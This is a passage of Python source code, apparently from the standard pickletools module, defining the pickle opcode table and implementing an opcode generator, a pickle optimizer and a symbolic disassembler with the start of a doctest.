self.stack_after = stack_after assert isinstance(proto, int) and 0 <= proto <= pickle.HIGHEST_PROTOCOL self.proto = proto assert isinstance(doc, str) self.doc = doc I = OpcodeInfo opcodes = [ # Ways to spell integers. I(name='INT', code='I', arg=decimalnl_short, stack_before=[], stack_after=[pyinteger_or_bool], proto=0, doc="""Push an integer or bool. The argument is a newline-terminated decimal literal string. The intent may have been that this always fit in a short Python int, but INT can be generated in pickles written on a 64-bit box that require a Python long on a 32-bit box. The difference between this and LONG then is that INT skips a trailing 'L', and produces a short int whenever possible. Another difference is due to that, when bool was introduced as a distinct type in 2.3, builtin names True and False were also added to 2.2.2, mapping to ints 1 and 0. For compatibility in both directions, True gets pickled as INT + "I01\\n", and False as INT + "I00\\n". Leading zeroes are never produced for a genuine integer. The 2.3 (and later) unpicklers special-case these and return bool instead; earlier unpicklers ignore the leading "0" and return the int. """), I(name='BININT', code='J', arg=int4, stack_before=[], stack_after=[pyint], proto=1, doc="""Push a four-byte signed integer. This handles the full range of Python (short) integers on a 32-bit box, directly as binary bytes (1 for the opcode and 4 for the integer). If the integer is non-negative and fits in 1 or 2 bytes, pickling via BININT1 or BININT2 saves space. """), I(name='BININT1', code='K', arg=uint1, stack_before=[], stack_after=[pyint], proto=1, doc="""Push a one-byte unsigned integer. This is a space optimization for pickling very small non-negative ints, in range(256). """), I(name='BININT2', code='M', arg=uint2, stack_before=[], stack_after=[pyint], proto=1, doc="""Push a two-byte unsigned integer. This is a space optimization for pickling small positive ints, in range(256, 2**16). Integers in range(256) can also be pickled via BININT2, but BININT1 instead saves a byte. """), I(name='LONG', code='L', arg=decimalnl_long, stack_before=[], stack_after=[pyint], proto=0, doc="""Push a long integer. The same as INT, except that the literal ends with 'L', and always unpickles to a Python long. There doesn't seem a real purpose to the trailing 'L'. Note that LONG takes time quadratic in the number of digits when unpickling (this is simply due to the nature of decimal->binary conversion). Proto 2 added linear-time (in C; still quadratic-time in Python) LONG1 and LONG4 opcodes. """), I(name="LONG1", code='\x8a', arg=long1, stack_before=[], stack_after=[pyint], proto=2, doc="""Long integer using one-byte length. A more efficient encoding of a Python long; the long1 encoding says it all."""), I(name="LONG4", code='\x8b', arg=long4, stack_before=[], stack_after=[pyint], proto=2, doc="""Long integer using found-byte length. A more efficient encoding of a Python long; the long4 encoding says it all."""), # Ways to spell strings (8-bit, not Unicode). I(name='STRING', code='S', arg=stringnl, stack_before=[], stack_after=[pybytes_or_str], proto=0, doc="""Push a Python string object. The argument is a repr-style string, with bracketing quote characters, and perhaps embedded escapes. The argument extends until the next newline character. These are usually decoded into a str instance using the encoding given to the Unpickler constructor. or the default, 'ASCII'. If the encoding given was 'bytes' however, they will be decoded as bytes object instead. """), I(name='BINSTRING', code='T', arg=string4, stack_before=[], stack_after=[pybytes_or_str], proto=1, doc="""Push a Python string object. There are two arguments: the first is a 4-byte little-endian signed int giving the number of bytes in the string, and the second is that many bytes, which are taken literally as the string content. These are usually decoded into a str instance using the encoding given to the Unpickler constructor. or the default, 'ASCII'. If the encoding given was 'bytes' however, they will be decoded as bytes object instead. """), I(name='SHORT_BINSTRING', code='U', arg=string1, stack_before=[], stack_after=[pybytes_or_str], proto=1, doc="""Push a Python string object. There are two arguments: the first is a 1-byte unsigned int giving the number of bytes in the string, and the second is that many bytes, which are taken literally as the string content. These are usually decoded into a str instance using the encoding given to the Unpickler constructor. or the default, 'ASCII'. If the encoding given was 'bytes' however, they will be decoded as bytes object instead. """), # Bytes (protocol 3 only; older protocols don't support bytes at all) I(name='BINBYTES', code='B', arg=bytes4, stack_before=[], stack_after=[pybytes], proto=3, doc="""Push a Python bytes object. There are two arguments: the first is a 4-byte little-endian unsigned int giving the number of bytes, and the second is that many bytes, which are taken literally as the bytes content. """), I(name='SHORT_BINBYTES', code='C', arg=bytes1, stack_before=[], stack_after=[pybytes], proto=3, doc="""Push a Python bytes object. There are two arguments: the first is a 1-byte unsigned int giving the number of bytes, and the second is that many bytes, which are taken literally as the string content. """), I(name='BINBYTES8', code='\x8e', arg=bytes8, stack_before=[], stack_after=[pybytes], proto=4, doc="""Push a Python bytes object. There are two arguments: the first is an 8-byte unsigned int giving the number of bytes in the string, and the second is that many bytes, which are taken literally as the string content. """), # Ways to spell None. I(name='NONE', code='N', arg=None, stack_before=[], stack_after=[pynone], proto=0, doc="Push None on the stack."), # Ways to spell bools, starting with proto 2. See INT for how this was # done before proto 2. I(name='NEWTRUE', code='\x88', arg=None, stack_before=[], stack_after=[pybool], proto=2, doc="""True. Push True onto the stack."""), I(name='NEWFALSE', code='\x89', arg=None, stack_before=[], stack_after=[pybool], proto=2, doc="""True. Push False onto the stack."""), # Ways to spell Unicode strings. I(name='UNICODE', code='V', arg=unicodestringnl, stack_before=[], stack_after=[pyunicode], proto=0, # this may be pure-text, but it's a later addition doc="""Push a Python Unicode string object. The argument is a raw-unicode-escape encoding of a Unicode string, and so may contain embedded escape sequences. The argument extends until the next newline character. """), I(name='SHORT_BINUNICODE', code='\x8c', arg=unicodestring1, stack_before=[], stack_after=[pyunicode], proto=4, doc="""Push a Python Unicode string object. There are two arguments: the first is a 1-byte little-endian signed int giving the number of bytes in the string. The second is that many bytes, and is the UTF-8 encoding of the Unicode string. """), I(name='BINUNICODE', code='X', arg=unicodestring4, stack_before=[], stack_after=[pyunicode], proto=1, doc="""Push a Python Unicode string object. There are two arguments: the first is a 4-byte little-endian unsigned int giving the number of bytes in the string. The second is that many bytes, and is the UTF-8 encoding of the Unicode string. """), I(name='BINUNICODE8', code='\x8d', arg=unicodestring8, stack_before=[], stack_after=[pyunicode], proto=4, doc="""Push a Python Unicode string object. There are two arguments: the first is an 8-byte little-endian signed int giving the number of bytes in the string. The second is that many bytes, and is the UTF-8 encoding of the Unicode string. """), # Ways to spell floats. I(name='FLOAT', code='F', arg=floatnl, stack_before=[], stack_after=[pyfloat], proto=0, doc="""Newline-terminated decimal float literal. The argument is repr(a_float), and in general requires 17 significant digits for roundtrip conversion to be an identity (this is so for IEEE-754 double precision values, which is what Python float maps to on most boxes). In general, FLOAT cannot be used to transport infinities, NaNs, or minus zero across boxes (or even on a single box, if the platform C library can't read the strings it produces for such things -- Windows is like that), but may do less damage than BINFLOAT on boxes with greater precision or dynamic range than IEEE-754 double. """), I(name='BINFLOAT', code='G', arg=float8, stack_before=[], stack_after=[pyfloat], proto=1, doc="""Float stored in binary form, with 8 bytes of data. This generally requires less than half the space of FLOAT encoding. In general, BINFLOAT cannot be used to transport infinities, NaNs, or minus zero, raises an exception if the exponent exceeds the range of an IEEE-754 double, and retains no more than 53 bits of precision (if there are more than that, "add a half and chop" rounding is used to cut it back to 53 significant bits). """), # Ways to build lists. I(name='EMPTY_LIST', code=']', arg=None, stack_before=[], stack_after=[pylist], proto=1, doc="Push an empty list."), I(name='APPEND', code='a', arg=None, stack_before=[pylist, anyobject], stack_after=[pylist], proto=0, doc="""Append an object to a list. Stack before: ... pylist anyobject Stack after: ... pylist+[anyobject] although pylist is really extended in-place. """), I(name='APPENDS', code='e', arg=None, stack_before=[pylist, markobject, stackslice], stack_after=[pylist], proto=1, doc="""Extend a list by a slice of stack objects. Stack before: ... pylist markobject stackslice Stack after: ... pylist+stackslice although pylist is really extended in-place. """), I(name='LIST', code='l', arg=None, stack_before=[markobject, stackslice], stack_after=[pylist], proto=0, doc="""Build a list out of the topmost stack slice, after markobject. All the stack entries following the topmost markobject are placed into a single Python list, which single list object replaces all of the stack from the topmost markobject onward. For example, Stack before: ... markobject 1 2 3 'abc' Stack after: ... [1, 2, 3, 'abc'] """), # Ways to build tuples. I(name='EMPTY_TUPLE', code=')', arg=None, stack_before=[], stack_after=[pytuple], proto=1, doc="Push an empty tuple."), I(name='TUPLE', code='t', arg=None, stack_before=[markobject, stackslice], stack_after=[pytuple], proto=0, doc="""Build a tuple out of the topmost stack slice, after markobject. All the stack entries following the topmost markobject are placed into a single Python tuple, which single tuple object replaces all of the stack from the topmost markobject onward. For example, Stack before: ... markobject 1 2 3 'abc' Stack after: ... (1, 2, 3, 'abc') """), I(name='TUPLE1', code='\x85', arg=None, stack_before=[anyobject], stack_after=[pytuple], proto=2, doc="""Build a one-tuple out of the topmost item on the stack. This code pops one value off the stack and pushes a tuple of length 1 whose one item is that value back onto it. In other words: stack[-1] = tuple(stack[-1:]) """), I(name='TUPLE2', code='\x86', arg=None, stack_before=[anyobject, anyobject], stack_after=[pytuple], proto=2, doc="""Build a two-tuple out of the top two items on the stack. This code pops two values off the stack and pushes a tuple of length 2 whose items are those values back onto it. In other words: stack[-2:] = [tuple(stack[-2:])] """), I(name='TUPLE3', code='\x87', arg=None, stack_before=[anyobject, anyobject, anyobject], stack_after=[pytuple], proto=2, doc="""Build a three-tuple out of the top three items on the stack. This code pops three values off the stack and pushes a tuple of length 3 whose items are those values back onto it. In other words: stack[-3:] = [tuple(stack[-3:])] """), # Ways to build dicts. I(name='EMPTY_DICT', code='}', arg=None, stack_before=[], stack_after=[pydict], proto=1, doc="Push an empty dict."), I(name='DICT', code='d', arg=None, stack_before=[markobject, stackslice], stack_after=[pydict], proto=0, doc="""Build a dict out of the topmost stack slice, after markobject. All the stack entries following the topmost markobject are placed into a single Python dict, which single dict object replaces all of the stack from the topmost markobject onward. The stack slice alternates key, value, key, value, .... For example, Stack before: ... markobject 1 2 3 'abc' Stack after: ... {1: 2, 3: 'abc'} """), I(name='SETITEM', code='s', arg=None, stack_before=[pydict, anyobject, anyobject], stack_after=[pydict], proto=0, doc="""Add a key+value pair to an existing dict. Stack before: ... pydict key value Stack after: ... pydict where pydict has been modified via pydict[key] = value. """), I(name='SETITEMS', code='u', arg=None, stack_before=[pydict, markobject, stackslice], stack_after=[pydict], proto=1, doc="""Add an arbitrary number of key+value pairs to an existing dict. The slice of the stack following the topmost markobject is taken as an alternating sequence of keys and values, added to the dict immediately under the topmost markobject. Everything at and after the topmost markobject is popped, leaving the mutated dict at the top of the stack. Stack before: ... pydict markobject key_1 value_1 ... key_n value_n Stack after: ... pydict where pydict has been modified via pydict[key_i] = value_i for i in 1, 2, ..., n, and in that order. """), # Ways to build sets I(name='EMPTY_SET', code='\x8f', arg=None, stack_before=[], stack_after=[pyset], proto=4, doc="Push an empty set."), I(name='ADDITEMS', code='\x90', arg=None, stack_before=[pyset, markobject, stackslice], stack_after=[pyset], proto=4, doc="""Add an arbitrary number of items to an existing set. The slice of the stack following the topmost markobject is taken as a sequence of items, added to the set immediately under the topmost markobject. Everything at and after the topmost markobject is popped, leaving the mutated set at the top of the stack. Stack before: ... pyset markobject item_1 ... item_n Stack after: ... pyset where pyset has been modified via pyset.add(item_i) = item_i for i in 1, 2, ..., n, and in that order. """), # Way to build frozensets I(name='FROZENSET', code='\x91', arg=None, stack_before=[markobject, stackslice], stack_after=[pyfrozenset], proto=4, doc="""Build a frozenset out of the topmost slice, after markobject. All the stack entries following the topmost markobject are placed into a single Python frozenset, which single frozenset object replaces all of the stack from the topmost markobject onward. For example, Stack before: ... markobject 1 2 3 Stack after: ... frozenset({1, 2, 3}) """), # Stack manipulation. I(name='POP', code='0', arg=None, stack_before=[anyobject], stack_after=[], proto=0, doc="Discard the top stack item, shrinking the stack by one item."), I(name='DUP', code='2', arg=None, stack_before=[anyobject], stack_after=[anyobject, anyobject], proto=0, doc="Push the top stack item onto the stack again, duplicating it."), I(name='MARK', code='(', arg=None, stack_before=[], stack_after=[markobject], proto=0, doc="""Push markobject onto the stack. markobject is a unique object, used by other opcodes to identify a region of the stack containing a variable number of objects for them to work on. See markobject.doc for more detail. """), I(name='POP_MARK', code='1', arg=None, stack_before=[markobject, stackslice], stack_after=[], proto=1, doc="""Pop all the stack objects at and above the topmost markobject. When an opcode using a variable number of stack objects is done, POP_MARK is used to remove those objects, and to remove the markobject that delimited their starting position on the stack. """), # Memo manipulation. There are really only two operations (get and put), # each in all-text, "short binary", and "long binary" flavors. I(name='GET', code='g', arg=decimalnl_short, stack_before=[], stack_after=[anyobject], proto=0, doc="""Read an object from the memo and push it on the stack. The index of the memo object to push is given by the newline-terminated decimal string following. BINGET and LONG_BINGET are space-optimized versions. """), I(name='BINGET', code='h', arg=uint1, stack_before=[], stack_after=[anyobject], proto=1, doc="""Read an object from the memo and push it on the stack. The index of the memo object to push is given by the 1-byte unsigned integer following. """), I(name='LONG_BINGET', code='j', arg=uint4, stack_before=[], stack_after=[anyobject], proto=1, doc="""Read an object from the memo and push it on the stack. The index of the memo object to push is given by the 4-byte unsigned little-endian integer following. """), I(name='PUT', code='p', arg=decimalnl_short, stack_before=[], stack_after=[], proto=0, doc="""Store the stack top into the memo. The stack is not popped. The index of the memo location to write into is given by the newline- terminated decimal string following. BINPUT and LONG_BINPUT are space-optimized versions. """), I(name='BINPUT', code='q', arg=uint1, stack_before=[], stack_after=[], proto=1, doc="""Store the stack top into the memo. The stack is not popped. The index of the memo location to write into is given by the 1-byte unsigned integer following. """), I(name='LONG_BINPUT', code='r', arg=uint4, stack_before=[], stack_after=[], proto=1, doc="""Store the stack top into the memo. The stack is not popped. The index of the memo location to write into is given by the 4-byte unsigned little-endian integer following. """), I(name='MEMOIZE', code='\x94', arg=None, stack_before=[anyobject], stack_after=[anyobject], proto=4, doc="""Store the stack top into the memo. The stack is not popped. The index of the memo location to write is the number of elements currently present in the memo. """), # Access the extension registry (predefined objects). Akin to the GET # family. I(name='EXT1', code='\x82', arg=uint1, stack_before=[], stack_after=[anyobject], proto=2, doc="""Extension code. This code and the similar EXT2 and EXT4 allow using a registry of popular objects that are pickled by name, typically classes. It is envisioned that through a global negotiation and registration process, third parties can set up a mapping between ints and object names. In order to guarantee pickle interchangeability, the extension code registry ought to be global, although a range of codes may be reserved for private use. EXT1 has a 1-byte integer argument. This is used to index into the extension registry, and the object at that index is pushed on the stack. """), I(name='EXT2', code='\x83', arg=uint2, stack_before=[], stack_after=[anyobject], proto=2, doc="""Extension code. See EXT1. EXT2 has a two-byte integer argument. """), I(name='EXT4', code='\x84', arg=int4, stack_before=[], stack_after=[anyobject], proto=2, doc="""Extension code. See EXT1. EXT4 has a four-byte integer argument. """), # Push a class object, or module function, on the stack, via its module # and name. I(name='GLOBAL', code='c', arg=stringnl_noescape_pair, stack_before=[], stack_after=[anyobject], proto=0, doc="""Push a global object (module.attr) on the stack. Two newline-terminated strings follow the GLOBAL opcode. The first is taken as a module name, and the second as a class name. The class object module.class is pushed on the stack. More accurately, the object returned by self.find_class(module, class) is pushed on the stack, so unpickling subclasses can override this form of lookup. """), I(name='STACK_GLOBAL', code='\x93', arg=None, stack_before=[pyunicode, pyunicode], stack_after=[anyobject], proto=4, doc="""Push a global object (module.attr) on the stack. """), # Ways to build objects of classes pickle doesn't know about directly # (user-defined classes). I despair of documenting this accurately # and comprehensibly -- you really have to read the pickle code to # find all the special cases. I(name='REDUCE', code='R', arg=None, stack_before=[anyobject, anyobject], stack_after=[anyobject], proto=0, doc="""Push an object built from a callable and an argument tuple. The opcode is named to remind of the __reduce__() method. Stack before: ... callable pytuple Stack after: ... callable(*pytuple) The callable and the argument tuple are the first two items returned by a __reduce__ method. Applying the callable to the argtuple is supposed to reproduce the original object, or at least get it started. If the __reduce__ method returns a 3-tuple, the last component is an argument to be passed to the object's __setstate__, and then the REDUCE opcode is followed by code to create setstate's argument, and then a BUILD opcode to apply __setstate__ to that argument. If not isinstance(callable, type), REDUCE complains unless the callable has been registered with the copyreg module's safe_constructors dict, or the callable has a magic '__safe_for_unpickling__' attribute with a true value. I'm not sure why it does this, but I've sure seen this complaint often enough when I didn't want to <wink>. """), I(name='BUILD', code='b', arg=None, stack_before=[anyobject, anyobject], stack_after=[anyobject], proto=0, doc="""Finish building an object, via __setstate__ or dict update. Stack before: ... anyobject argument Stack after: ... anyobject where anyobject may have been mutated, as follows: If the object has a __setstate__ method, anyobject.__setstate__(argument) is called. Else the argument must be a dict, the object must have a __dict__, and the object is updated via anyobject.__dict__.update(argument) """), I(name='INST', code='i', arg=stringnl_noescape_pair, stack_before=[markobject, stackslice], stack_after=[anyobject], proto=0, doc="""Build a class instance. This is the protocol 0 version of protocol 1's OBJ opcode. INST is followed by two newline-terminated strings, giving a module and class name, just as for the GLOBAL opcode (and see GLOBAL for more details about that). self.find_class(module, name) is used to get a class object. In addition, all the objects on the stack following the topmost markobject are gathered into a tuple and popped (along with the topmost markobject), just as for the TUPLE opcode. Now it gets complicated. If all of these are true: + The argtuple is empty (markobject was at the top of the stack at the start). + The class object does not have a __getinitargs__ attribute. then we want to create an old-style class instance without invoking its __init__() method (pickle has waffled on this over the years; not calling __init__() is current wisdom). In this case, an instance of an old-style dummy class is created, and then we try to rebind its __class__ attribute to the desired class object. If this succeeds, the new instance object is pushed on the stack, and we're done. Else (the argtuple is not empty, it's not an old-style class object, or the class object does have a __getinitargs__ attribute), the code first insists that the class object have a __safe_for_unpickling__ attribute. Unlike as for the __safe_for_unpickling__ check in REDUCE, it doesn't matter whether this attribute has a true or false value, it only matters whether it exists (XXX this is a bug). If __safe_for_unpickling__ doesn't exist, UnpicklingError is raised. Else (the class object does have a __safe_for_unpickling__ attr), the class object obtained from INST's arguments is applied to the argtuple obtained from the stack, and the resulting instance object is pushed on the stack. NOTE: checks for __safe_for_unpickling__ went away in Python 2.3. NOTE: the distinction between old-style and new-style classes does not make sense in Python 3. """), I(name='OBJ', code='o', arg=None, stack_before=[markobject, anyobject, stackslice], stack_after=[anyobject], proto=1, doc="""Build a class instance. This is the protocol 1 version of protocol 0's INST opcode, and is very much like it. The major difference is that the class object is taken off the stack, allowing it to be retrieved from the memo repeatedly if several instances of the same class are created. This can be much more efficient (in both time and space) than repeatedly embedding the module and class names in INST opcodes. Unlike INST, OBJ takes no arguments from the opcode stream. Instead the class object is taken off the stack, immediately above the topmost markobject: Stack before: ... markobject classobject stackslice Stack after: ... new_instance_object As for INST, the remainder of the stack above the markobject is gathered into an argument tuple, and then the logic seems identical, except that no __safe_for_unpickling__ check is done (XXX this is a bug). See INST for the gory details. NOTE: In Python 2.3, INST and OBJ are identical except for how they get the class object. That was always the intent; the implementations had diverged for accidental reasons. """), I(name='NEWOBJ', code='\x81', arg=None, stack_before=[anyobject, anyobject], stack_after=[anyobject], proto=2, doc="""Build an object instance. The stack before should be thought of as containing a class object followed by an argument tuple (the tuple being the stack top). Call these cls and args. They are popped off the stack, and the value returned by cls.__new__(cls, *args) is pushed back onto the stack. """), I(name='NEWOBJ_EX', code='\x92', arg=None, stack_before=[anyobject, anyobject, anyobject], stack_after=[anyobject], proto=4, doc="""Build an object instance. The stack before should be thought of as containing a class object followed by an argument tuple and by a keyword argument dict (the dict being the stack top). Call these cls and args. They are popped off the stack, and the value returned by cls.__new__(cls, *args, *kwargs) is pushed back onto the stack. """), # Machine control. I(name='PROTO', code='\x80', arg=uint1, stack_before=[], stack_after=[], proto=2, doc="""Protocol version indicator. For protocol 2 and above, a pickle must start with this opcode. The argument is the protocol version, an int in range(2, 256). """), I(name='STOP', code='.', arg=None, stack_before=[anyobject], stack_after=[], proto=0, doc="""Stop the unpickling machine. Every pickle ends with this opcode. The object at the top of the stack is popped, and that's the result of unpickling. The stack should be empty then. """), # Framing support. I(name='FRAME', code='\x95', arg=uint8, stack_before=[], stack_after=[], proto=4, doc="""Indicate the beginning of a new frame. The unpickler may use this opcode to safely prefetch data from its underlying stream. """), # Ways to deal with persistent IDs. I(name='PERSID', code='P', arg=stringnl_noescape, stack_before=[], stack_after=[anyobject], proto=0, doc="""Push an object identified by a persistent ID. The pickle module doesn't define what a persistent ID means. PERSID's argument is a newline-terminated str-style (no embedded escapes, no bracketing quote characters) string, which *is* "the persistent ID". The unpickler passes this string to self.persistent_load(). Whatever object that returns is pushed on the stack. There is no implementation of persistent_load() in Python's unpickler: it must be supplied by an unpickler subclass. """), I(name='BINPERSID', code='Q', arg=None, stack_before=[anyobject], stack_after=[anyobject], proto=1, doc="""Push an object identified by a persistent ID. Like PERSID, except the persistent ID is popped off the stack (instead of being a string embedded in the opcode bytestream). The persistent ID is passed to self.persistent_load(), and whatever object that returns is pushed on the stack. See PERSID for more detail. """), ] del I # Verify uniqueness of .name and .code members. name2i = {} code2i = {} for i, d in enumerate(opcodes): if d.name in name2i: raise ValueError("repeated name %r at indices %d and %d" % (d.name, name2i[d.name], i)) if d.code in code2i: raise ValueError("repeated code %r at indices %d and %d" % (d.code, code2i[d.code], i)) name2i[d.name] = i code2i[d.code] = i del name2i, code2i, i, d ############################################################################## # Build a code2op dict, mapping opcode characters to OpcodeInfo records. # Also ensure we've got the same stuff as pickle.py, although the # introspection here is dicey. code2op = {} for d in opcodes: code2op[d.code] = d del d def assure_pickle_consistency(verbose=False): copy = code2op.copy() for name in pickle.__all__: if not re.match("[A-Z][A-Z0-9_]+$", name): if verbose: print("skipping %r: it doesn't look like an opcode name" % name) continue picklecode = getattr(pickle, name) if not isinstance(picklecode, bytes) or len(picklecode) != 1: if verbose: print(("skipping %r: value %r doesn't look like a pickle " "code" % (name, picklecode))) continue picklecode = picklecode.decode("latin-1") if picklecode in copy: if verbose: print("checking name %r w/ code %r for consistency" % ( name, picklecode)) d = copy[picklecode] if d.name != name: raise ValueError("for pickle code %r, pickle.py uses name %r " "but we're using name %r" % (picklecode, name, d.name)) # Forget this one. Any left over in copy at the end are a problem # of a different kind. del copy[picklecode] else: raise ValueError("pickle.py appears to have a pickle opcode with " "name %r and code %r, but we don't" % (name, picklecode)) if copy: msg = ["we appear to have pickle opcodes that pickle.py doesn't have:"] for code, d in copy.items(): msg.append(" name %r with code %r" % (d.name, code)) raise ValueError("\n".join(msg)) assure_pickle_consistency() del assure_pickle_consistency ############################################################################## # A pickle opcode generator. def _genops(data, yield_end_pos=False): if isinstance(data, bytes_types): data = io.BytesIO(data) if hasattr(data, "tell"): getpos = data.tell else: getpos = lambda: None while True: pos = getpos() code = data.read(1) opcode = code2op.get(code.decode("latin-1")) if opcode is None: if code == b"": raise ValueError("pickle exhausted before seeing STOP") else: raise ValueError("at position %s, opcode %r unknown" % ( "<unknown>" if pos is None else pos, code)) if opcode.arg is None: arg = None else: arg = opcode.arg.reader(data) if yield_end_pos: yield opcode, arg, pos, getpos() else: yield opcode, arg, pos if code == b'.': assert opcode.name == 'STOP' break def genops(pickle): """Generate all the opcodes in a pickle. 'pickle' is a file-like object, or string, containing the pickle. Each opcode in the pickle is generated, from the current pickle position, stopping after a STOP opcode is delivered. A triple is generated for each opcode: opcode, arg, pos opcode is an OpcodeInfo record, describing the current opcode. If the opcode has an argument embedded in the pickle, arg is its decoded value, as a Python object. If the opcode doesn't have an argument, arg is None. If the pickle has a tell() method, pos was the value of pickle.tell() before reading the current opcode. If the pickle is a bytes object, it's wrapped in a BytesIO object, and the latter's tell() result is used. Else (the pickle doesn't have a tell(), and it's not obvious how to query its current position) pos is None. """ return _genops(pickle) ############################################################################## # A pickle optimizer. def optimize(p): 'Optimize a pickle string by removing unused PUT opcodes' put = 'PUT' get = 'GET' oldids = set() # set of all PUT ids newids = {} # set of ids used by a GET opcode opcodes = [] # (op, idx) or (pos, end_pos) proto = 0 protoheader = b'' for opcode, arg, pos, end_pos in _genops(p, yield_end_pos=True): if 'PUT' in opcode.name: oldids.add(arg) opcodes.append((put, arg)) elif opcode.name == 'MEMOIZE': idx = len(oldids) oldids.add(idx) opcodes.append((put, idx)) elif 'FRAME' in opcode.name: pass elif 'GET' in opcode.name: if opcode.proto > proto: proto = opcode.proto newids[arg] = None opcodes.append((get, arg)) elif opcode.name == 'PROTO': if arg > proto: proto = arg if pos == 0: protoheader = p[pos: end_pos] else: opcodes.append((pos, end_pos)) else: opcodes.append((pos, end_pos)) del oldids # Copy the opcodes except for PUTS without a corresponding GET out = io.BytesIO() # Write the PROTO header before any framing out.write(protoheader) pickler = pickle._Pickler(out, proto) if proto >= 4: pickler.framer.start_framing() idx = 0 for op, arg in opcodes: if op is put: if arg not in newids: continue data = pickler.put(idx) newids[arg] = idx idx += 1 elif op is get: data = pickler.get(newids[arg]) else: data = p[op:arg] pickler.framer.commit_frame() pickler.write(data) pickler.framer.end_framing() return out.getvalue() ############################################################################## # A symbolic pickle disassembler. def dis(pickle, out=None, memo=None, indentlevel=4, annotate=0): """Produce a symbolic disassembly of a pickle. 'pickle' is a file-like object, or string, containing a (at least one) pickle. The pickle is disassembled from the current position, through the first STOP opcode encountered. Optional arg 'out' is a file-like object to which the disassembly is printed. It defaults to sys.stdout. Optional arg 'memo' is a Python dict, used as the pickle's memo. It may be mutated by dis(), if the pickle contains PUT or BINPUT opcodes. Passing the same memo object to another dis() call then allows disassembly to proceed across multiple pickles that were all created by the same pickler with the same memo. Ordinarily you don't need to worry about this. Optional arg 'indentlevel' is the number of blanks by which to indent a new MARK level. It defaults to 4. Optional arg 'annotate' if nonzero instructs dis() to add short description of the opcode on each line of disassembled output. The value given to 'annotate' must be an integer and is used as a hint for the column where annotation should start. The default value is 0, meaning no annotations. In addition to printing the disassembly, some sanity checks are made: + All embedded opcode arguments "make sense". + Explicit and implicit pop operations have enough items on the stack. + When an opcode implicitly refers to a markobject, a markobject is actually on the stack. + A memo entry isn't referenced before it's defined. + The markobject isn't stored in the memo. + A memo entry isn't redefined. """ # Most of the hair here is for sanity checks, but most of it is needed # anyway to detect when a protocol 0 POP takes a MARK off the stack # (which in turn is needed to indent MARK blocks correctly). stack = [] # crude emulation of unpickler stack if memo is None: memo = {} # crude emulation of unpickler memo maxproto = -1 # max protocol number seen markstack = [] # bytecode positions of MARK opcodes indentchunk = ' ' * indentlevel errormsg = None annocol = annotate # column hint for annotations for opcode, arg, pos in genops(pickle): if pos is not None: print("%5d:" % pos, end=' ', file=out) line = "%-4s %s%s" % (repr(opcode.code)[1:-1], indentchunk * len(markstack), opcode.name) maxproto = max(maxproto, opcode.proto) before = opcode.stack_before # don't mutate after = opcode.stack_after # don't mutate numtopop = len(before) # See whether a MARK should be popped. markmsg = None if markobject in before or (opcode.name == "POP" and stack and stack[-1] is markobject): assert markobject not in after if __debug__: if markobject in before: assert before[-1] is stackslice if markstack: markpos = markstack.pop() if markpos is None: markmsg = "(MARK at unknown opcode offset)" else: markmsg = "(MARK at %d)" % markpos # Pop everything at and after the topmost markobject. while stack[-1] is not markobject: stack.pop() stack.pop() # Stop later code from popping too much. try: numtopop = before.index(markobject) except ValueError: assert opcode.name == "POP" numtopop = 0 else: errormsg = markmsg = "no MARK exists on stack" # Check for correct memo usage. if opcode.name in ("PUT", "BINPUT", "LONG_BINPUT", "MEMOIZE"): if opcode.name == "MEMOIZE": memo_idx = len(memo) markmsg = "(as %d)" % memo_idx else: assert arg is not None memo_idx = arg if memo_idx in memo: errormsg = "memo key %r already defined" % arg elif not stack: errormsg = "stack is empty -- can't store into memo" elif stack[-1] is markobject: errormsg = "can't store markobject in the memo" else: memo[memo_idx] = stack[-1] elif opcode.name in ("GET", "BINGET", "LONG_BINGET"): if arg in memo: assert len(after) == 1 after = [memo[arg]] # for better stack emulation else: errormsg = "memo key %r has never been stored into" % arg if arg is not None or markmsg: # make a mild effort to align arguments line += ' ' * (10 - len(opcode.name)) if arg is not None: line += ' ' + repr(arg) if markmsg: line += ' ' + markmsg if annotate: line += ' ' * (annocol - len(line)) # make a mild effort to align annotations annocol = len(line) if annocol > 50: annocol = annotate line += ' ' + opcode.doc.split('\n', 1)[0] print(line, file=out) if errormsg: # Note that we delayed complaining until the offending opcode # was printed. raise ValueError(errormsg) # Emulate the stack effects. if len(stack) < numtopop: raise ValueError("tries to pop %d items from stack with " "only %d items" % (numtopop, len(stack))) if numtopop: del stack[-numtopop:] if markobject in after: assert markobject not in before markstack.append(pos) stack.extend(after) print("highest protocol among opcodes =", maxproto, file=out) if stack: raise ValueError("stack not empty after STOP: %r" % stack) # For use in the doctest, simply as an example of a class to pickle. class _Example: def __init__(self, value): self.value = value _dis_test = r""" >>> import pickle >>> x = [1, 2, (3, 4), {b'abc': "def"}] >>> pkl0 = pickle.dumps(x, 0) >>> dis(pkl0) 0: ( MARK 1: l LIST (MARK at 0) 2: p PUT 0 5: L LONG 1 9: a APPEND 10: L LONG 2 14: a APPEND 15: ( MARK 16: L LONG 3 20: L LONG 4 24: t TUPLE (MARK at 15) 25: p PUT 1 28: a APPEND 29: ( MARK 30: d DICT (MARK at 29) 31: p PUT 2 34: c GLOBAL '_codecs encode' 50: p PUT 3 53: ( MARK 54: V UNICODE 'abc' 59: p PUT 4 62: V UNICODE 'latin1' 70: p PUT 5 73: t TUPLE (MARK at 53) 74: p PUT 6 77: R REDUCE 78: p PUT 7 81: V UNICODE 'def' 86: p PUT 8 89: s SETITEM 90: a APPEND 91: . STOP highest protocol among opcodes = 0 Try again with a "binary" pickle. >>> pkl1 = pickle.dumps(x, 1) >>> dis(pkl1) 0: ] EMPTY_LIST 1: q BINPUT 0 3: ( MARK 4: K BININT1 1 6: K BININT1 2 8: ( MARK 9: K BININT1 3 11: K BININT1 4 13: t TUPLE (MARK at 8) 14: q BINPUT 1 16: } EMPTY_DICT 17: q BINPUT 2 19: c GLOBAL '_codecs encode' 35: q BINPUT 3 37: ( MARK 38: X BINUNICODE 'abc' 46: q BINPUT 4 48: X BINUNICODE 'latin1' 59: q BINPUT 5 61: t TUPLE (MARK at 37) 62: q BINPUT 6 64: R REDUCE 65: q BINPUT 7 67: X BINUNICODE 'def' 75: q BINPUT 8 77: s SETITEM 78: e APPENDS (MARK at 3) 79: . STOP highest protocol among opcodes = 1 Exercise the INST/OBJ/BUILD family. >>> import pickletools >>> dis(pickle.dumps(pickletools.dis, 0)) 0: c GLOBAL 'pickletools dis' 17: p PUT 0 20: . STOP highest protocol among opcodes = 0 >>> from pickletools import _Example >>> x = [_Example(42)] * 2 >>> dis(pickle.dumps(x, 0)) 0: ( MARK 1: l LIST (MARK 